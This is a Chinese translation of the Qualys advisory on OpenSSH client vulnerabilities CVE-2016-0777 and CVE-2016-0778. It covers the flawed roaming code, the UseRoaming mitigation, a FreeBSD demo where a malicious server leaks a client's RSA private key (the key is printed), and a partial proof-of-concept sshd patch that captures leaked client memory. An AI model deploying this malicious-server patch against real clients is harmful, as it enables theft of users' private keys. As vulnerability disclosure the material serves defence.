from:http://bobao.360.cn/learning/detail/2566.html?utm_source=tuicool&utm_medium=referral
from:https://www.qualys.com/2016/01/14/cve-2016-0777-cve-2016-0778/openssh-cve-2016-0777-cve-2016-0778.txt
OpenSSH客户端漏洞:CVE-2016-0777和CVE-2016-0778
CVE-2016-0777可通过构造ssh恶意服务器,有可能泄漏客户端的内存私钥
本文内容概览
| 信息综述
| 信息泄漏漏洞(CVE-2016-0777)
| -漏洞分析
| -私钥泄漏
| -漏洞缓解方式
| -实例
| 缓冲区溢出漏洞(CVE-2016-0778)
| -漏洞分析
| -私钥披露
| -文件描述符泄漏
| 致谢
| 概念验证实例
信息综述
从5.4版开始(发布于2010年3月8日),OpenSSH客户端就提供了一个名为“roaming(漫游)”的功能(该功能并未记录在介绍文档中):如果客户端与SSH服务器的通信链接意外中断,当服务器同样支持roaming功能,那么客户端就可以与服务器重新连接,并重新恢复挂起的SSH会话操作。
虽然OpenSSH服务器并不支持roaming功能,但OpenSSH客户端是默认启用这一功能的,而这一功能却存在两个漏洞,恶意SSH服务器或者一台被入侵的可信服务器都可以利用这两个漏洞,并在目标系统中引起信息泄漏(内存泄漏)以及缓冲区溢出(基于堆的)。
在OpenSSH客户端的默认配置下,内存泄漏漏洞是可以直接被攻击者利用的。这个漏洞允许一台恶意SSH服务器直接窃取客户端的私钥,但是具体情况取决于客户端版本,编译器,以及操作系统。很多恶意攻击者可能已经在利用这一信息泄漏漏洞了,一些热门网站或者网络名人也许需要去重新生成他们的SSH密钥了。
另一方面,OpenSSH客户端在默认配置下,也存在一个缓冲区溢出漏洞。但如果攻击者要利用这个漏洞,还需要两个非默认的配置选项:其一为ProxyCommand,第二个选项为ForwardAgent(-A)或ForwardX11(-X)。因此,这个缓冲区溢出漏洞不太可能会对用户产生什么实际影响,但这一漏洞却非常值得我们进行研究和分析。
版本号在5.4至7.1之间的OpenSSH客户端均存在着两个漏洞,但解决这一问题却是非常简单的,用户只需要将“UseRoaming”选项设置为“no”即可,具体信息我们将在漏洞缓解方式这一章节中进行详细讲解。7.1p2版本的OpenSSH客户端(发布于2016年1月14日)默认禁用了roaming功能。
信息泄漏漏洞(CVE-2016-0777)
漏洞分析
如果OpenSSH客户端与一个提供密钥交换算法的SSH服务器进行了连接,那么在身份验证成功之后,它会向服务器发送一个全局请求“[email protected]”。如果服务器接受了这个请求,客户端便会通过调用malloc()函数(并非调用calloc()),并根据out_buf_size的值来为roaming功能分配一个缓冲区(即out_buf),需要注意的是out_buf_size的值是由服务器进行随机选取的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
63
void
64 roaming_reply(
int
type, u_int32_t seq,
void
*ctxt)
65 {
66
if
(type == SSH2_MSG_REQUEST_FAILURE) {
67 logit(
"Server denied roaming"
);
68
return
;
69 }
70 verbose(
"Roaming enabled"
);
..
75 set_out_buffer_size(packet_get_int() + get_snd_buf_size());
..
77 }
40
static
size_t
out_buf_size = 0;
41
static
char
*out_buf = NULL;
42
static
size_t
out_start;
43
static
size_t
out_last;
..
75
void
76 set_out_buffer_size(
size_t
size)
77 {
78
if
(size == 0 || size > MAX_ROAMBUF)
79 fatal(
"%s: bad buffer size %lu"
, __func__, (u_long)size);
80
/*
81 * The buffer size can only be set once and the buffer will live
82 * as long as the session lives.
83 */
84
if
(out_buf == NULL) {
85 out_buf_size = size;
86 out_buf = xmalloc(size);
87 out_start = 0;
88 out_last = 0;
89 }
90 }
|
在客户端与SSH服务器的通信链接意外断开之后,OpenSSH客户端的roaming_write()函数(该函数是write()函数的升级版)会调用wait_for_roaming_reconnect(),并恢复与服务器的连接。该函数还会调用buf_append()函数,该函数可以将客户端发送至服务器的数据信息拷贝到roaming缓冲区out_buf之中。在重新连接的过程中,由于之前的通信连接意外断开,因此客户端会将服务器未接收到的信息重新发送给服务器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
198
void
199 resend_bytes(
int
fd, u_int64_t *offset)
200 {
201
size_t
available, needed;
202
203
if
(out_start < out_last)
204 available = out_last - out_start;
205
else
206 available = out_buf_size;
207 needed = write_bytes - *offset;
208 debug3(
"resend_bytes: resend %lu bytes from %llu"
,
209 (unsigned
long
)needed, (unsigned
long
long
)*offset);
210
if
(needed > available)
211 fatal(
"Needed to resend more data than in the cache"
);
212
if
(out_last < needed) {
213
int
chunkend = needed - out_last;
214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,
215 chunkend);
216 atomicio(vwrite, fd, out_buf, out_last);
217 }
else
{
218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);
219 }
220 }
|
在OpenSSH客户端的roaming缓冲区out_buf之中,最近发送至服务器的数据起始于索引out_start处,结束于索引out_last。当这一环形缓冲区满了之后,buf_append()仍然会继续进行“out_start = out_last + 1”计算,这样一来,我们就要考虑下列三种不同的情况了:
-"out_start < out_last" (203-204行):out_buf的空间目前还没有满(out_start仍然为0),此时out_buf中的数据总量实际上为“out_last - out_start”;
-"out_start > out_last" (205-206行):out_buf已满(out_start实际上等于“out_last + 1”),此时out_buf中的数据总量实际上就等于整个out_buf_size的大小;
-"out_start == out_last" (205-206行):out-buf中并没有写入任何数据(此时out_start和out_last仍然为0),因为客户端在调用了roaming_reply()函数之后,并没有向服务器发送任何的数据,但是在 out_buf_size的值存在的情况下,客户端却会将整个未初始化的out_buf发送(泄漏)给了服务器(214行)。
恶意服务器可以成功利用这个信息泄漏漏洞,并从OpenSSH客户端的内存中提取出敏感信息(比如说,SSH私钥,或者在下一步攻击中需要用到的内存地址信息)。
私钥泄漏
一开始我们认为,恶意SSH服务器是无法利用这个存在于OpenSSH客户端roaming功能代码中的信息泄漏漏洞窃取客户端的私钥信息的,因为:
-泄漏出来的信息是无法从越界内存中读取的,但是却可以从客户端的roaming 缓冲区out_buf中读取出来;
-系统会从磁盘中读取私钥信息,并将其加载至内存之中,并且通过key_free()函数(旧版本的API,OpenSSH < 6.7)或者sshkey_free()函数(新版本的API,OpenSSH>= 6.7)进行释放,这两个函数会通过OPENSSL_cleanse()或者explicit_bzero()来清除私钥信息。
-客户端会调用buffer_free()或者sshbuf_free()来清除内存中的临时私钥副本,这两个函数都会尝试使用memset()或bzero()来清除这些副本信息。
但是,在我们进行了实验和分析之后最终发现,虽然上面给出的三点原因并没有问题,但我们仍然可以利用这个信息泄漏漏洞部分或全部提取出OpenSSH客户端中的私钥信息(具体情况取决于客户端版本,编译器,操作系统,堆布局,以及私钥):
(除了这些原因之外,还有一些其他的理由,我们将会在后面的讲解中提到这些信息)
1.如果客户端使用fopen()(或者fdopen(),fgets(),以及fclose())来将一个SSH私钥从磁盘中加载至内存,那么这个私钥的部分信息或者完整信息都会遗留在内存之中。实际上,这些函数都会对他们自己的内部缓冲区进行管理,这些缓冲区是否被清空取决于OpenSSH客户端的代码库,而不是取决于OpenSSH本身。
-在所有存在漏洞的OpenSSH版本中,SSH的main()函数会调用load_public_identity_files(),该函数会调用fopen(),fgets(),以及fclose()来加载客户端的公钥信息。不幸的是,私钥会首先被加载,然后被丢弃。
-在版本号<=5.6的OpenSSH中,load_identity_file()函数会通过fdopen()和PEM_read_privateKey()来加载一个私钥。
2. 在版本号>=5.9的OpenSSH中,客户端的load_identity_file()函数会利用read()从一个长度为1024字节的内存区域中读取私钥信息。不幸的是,对realloc()的重复调用会将私钥的部分信息遗留在内存中无法完全清除。
-在版本号<6.7的OpenSSH中(旧版API),这种变长缓冲区的初始大小为4096个字节:如果私钥文件的大小大于4K,那么这个私钥文件的部分数据会遗留在内存之中(一个大小为3K的副本信息保存在一个4K大小的缓冲区中)。幸运的是,只有一个非常大的RSA密钥(比如说,一个8192位的RSA密钥)其大小才会超过4K。
-在版本号>=6.7的OpenSSH中(新版API),这种变长缓冲区的初始大小为256个字节:如果私钥文件的大小大于1K,那么这个私钥文件的部分数据会遗留在内存之中(一个大小为1K的副本信息保存在一个1K大小的缓冲区中)。比如说,初始大小为2048位的RSA密钥其大小就超过了1K。
如果你需要了解更多的信息,请访问下列地址:
https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources
https://cwe.mitre.org/data/definitions/244.html
漏洞缓解方案
所有版本号大于或等于5.4的OpenSSH客户端都会受到这些漏洞的影响,但是我们可以通过下列操作来降低这些漏洞对我们所产生的影响:
1.存在漏洞的roaming功能代码可以被永久禁用:在系统配置文件中,将“UseRoaming”选项设置为“no”(系统配置文件一般在/etc/ssh/ssh_config下),用户也可以使用命令行来进行设置(-o "UseRoaming no")。
2.如果OpenSSH客户端与带有roaming功能的SSH服务器意外断开了连接,高级用户在接收到系统提示信息后,可能会按下Control+C或者Control+Z,并以此来避免信息泄漏:
# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume]^Z
[1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1
私钥泄漏实例:FreeBSD 10.0,2048位RSA密钥
$ head -n 1 /etc/motd
FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014
$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013
$ cat ~/.ssh/id_rsa
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c
/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy
+1T
M3
/74toaLj28kwbQjTPKhENMlqe
+QVH7pH3kdun92SEqzKr7Pjx4
/2YzAbAlZpT0
9Zj
/bOgA7KYWfjvJ0E9QQZaY68nEB4
+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm
/A/VvDlNa/2
+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY
/tLdXZu9nWa5oFTVZYmk
oayzU
/WvYDpUgx7LB1tU
+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ
/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O
/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH
/es
+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8
/h/toXua1nv/5pruro
+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp
/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB
+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL
/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj
/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
vOzVcOC+Y
/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi
/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE
K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G
/0mbZYJdBr
+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0
/QApLAUsa
+l26qLb8V+yDCZ+n
UxvMSgpRinkMFK
/Je0L
+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7
qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11
1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ
/Sp8dXCKHjBK/kSdW3U8SJPjV
pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=
-----END RSA PRIVATE KEY-----
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
# env ROAMING="client_out_buf_size:1280" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$
/usr/bin/ssh
-p 222 127.0.0.1
[email protected]'s password:
[connection suspended, press
return
to resume][connection resumed]
# cat /tmp/roaming-97ed9f59/infoleak
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c
/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy
+1T
M3
/74toaLj28kwbQjTPKhENMlqe
+QVH7pH3kdun92SEqzKr7Pjx4
/2YzAbAlZpT0
9Zj
/bOgA7KYWfjvJ0E9QQZaY68nEB4
+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm
/A/VvDlNa/2
+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY
/tLdXZu9nWa5oFTVZYmk
oayzU
/WvYDpUgx7LB1tU
+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ
/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O
/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH
/es
+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8
/h/toXua1nv/5pruro
+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp
/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB
+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL
/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj
/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
|
缓冲区溢出漏洞的缓解方案(CVE-2016-0778)
所有大于或等于5.4版本的OpenSSH客户端都存在这个缓冲区溢出漏洞,但是这个漏洞也是有相应的漏洞缓解方案的,具体信息请查看原文。
致谢
在此,我们要感谢OpenSSH的开发人员,感谢他们的辛勤工作以及对我们的信息给予了迅速的回应。除此之外,我们还要感谢红帽安全部门为这两个漏洞分配了CVE-ID。
概念验证实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
|
diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c
--- openssh-6.4p1/auth2-pubkey.c 2013-07-17 23:10:10.000000000 -0700
+++ openssh-6.4p1+roaming/auth2-pubkey.c 2016-01-07 01:04:15.000000000 -0800
@@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)
*
if
a user is not allowed to login. is
this
an
* issue? -markus
*/
-
if
(PRIVSEP(user_key_allowed(authctxt->pw, key))) {
+
if
(PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) {
+ debug(
"%s: force client-side load_identity_file"
,
+ __func__);
packet_start(SSH2_MSG_USERAUTH_PK_OK);
packet_put_string(pkalg, alen);
packet_put_string(pkblob, blen);
diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c
--- openssh-6.4p1/kex.c 2013-06-01 14:31:18.000000000 -0700
+++ openssh-6.4p1+roaming/kex.c 2016-01-07 01:04:15.000000000 -0800
@@ -442,6 +442,73 @@ proposals_match(
char
*my[PROPOSAL_MAX],
}
static
void
+roaming_reconnect(
void
)
+{
+ packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);
+
const
u_int id = packet_get_int();
/* roaming_id */
+ debug(
"%s: id %u"
, __func__, id);
+ packet_check_eom();
+
+
const
char
*
const
dir = get_roaming_dir(id);
+ debug(
"%s: dir %s"
, __func__, dir);
+
const
int
fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);
+
if
(fd <= -1)
+ fatal(
"%s: open %s errno %d"
, __func__, dir,
errno
);
+
if
(fchdir(fd) != 0)
+ fatal(
"%s: fchdir %s errno %d"
, __func__, dir,
errno
);
+
if
(close(fd) != 0)
+ fatal(
"%s: close %s errno %d"
, __func__, dir,
errno
);
+
+ packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);
+ packet_put_int64(arc4random());
/* chall */
+ packet_put_int64(arc4random());
/* oldchall */
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);
+
const
u_int64_t client_read_bytes = packet_get_int64();
+ debug(
"%s: client_read_bytes %llu"
, __func__,
+ (unsigned
long
long
)client_read_bytes);
+ packet_get_int64();
/* digest (1-8) */
+ packet_get_int64();
/* digest (9-16) */
+ packet_get_int();
/* digest (17-20) */
+ packet_check_eom();
+
+ u_int64_t client_write_bytes;
+
size_t
len =
sizeof
(client_write_bytes);
+ load_roaming_file(
"client_write_bytes"
, &client_write_bytes, &len);
+ debug(
"%s: client_write_bytes %llu"
, __func__,
+ (unsigned
long
long
)client_write_bytes);
+
+ u_int client_out_buf_size;
+ len =
sizeof
(client_out_buf_size);
+ load_roaming_file(
"client_out_buf_size"
, &client_out_buf_size, &len);
+ debug(
"%s: client_out_buf_size %u"
, __func__, client_out_buf_size);
+
if
(client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF)
+ fatal(
"%s: client_out_buf_size %u"
, __func__,
+ client_out_buf_size);
+
+ packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);
+ packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);
+ packet_send();
+
const
int
overflow = (access(
"output"
, F_OK) == 0);
+
if
(overflow != 0) {
+
const
void
*
const
ptr = load_roaming_file(
"output"
, NULL, &len);
+ buffer_append(packet_get_output(), ptr, len);
+ }
+ packet_write_wait();
+
+
char
*
const
client_out_buf = xmalloc(client_out_buf_size);
+
if
(atomicio(read, packet_get_connection_in(), client_out_buf,
+ client_out_buf_size) != client_out_buf_size)
+ fatal(
"%s: read client_out_buf_size %u errno %d"
, __func__,
+ client_out_buf_size,
errno
);
+
if
(overflow == 0)
+ dump_roaming_file(
"infoleak"
, client_out_buf,
+ client_out_buf_size);
+ fatal(
"%s: all done for %s"
, __func__, dir);
+}
+
+
static
void
kex_choose_conf(Kex *kex)
{
Newkeys *newkeys;
@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)
kex->roaming = 1;
free
(roaming);
}
+ }
else
if
(
strcmp
(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {
+ roaming_reconnect();
+
/* NOTREACHED */
+ fatal(
"%s: returned from %s"
, __func__, KEX_RESUME);
}
/* Algorithm Negotiation */
diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h
--- openssh-6.4p1/roaming.h 2011-12-18 15:52:52.000000000 -0800
+++ openssh-6.4p1+roaming/roaming.h 2016-01-07 01:04:15.000000000 -0800
@@ -42,4 +42,86 @@
void
resend_bytes(
int
, u_int64_t *);
void
calculate_new_key(u_int64_t *, u_int64_t, u_int64_t);
|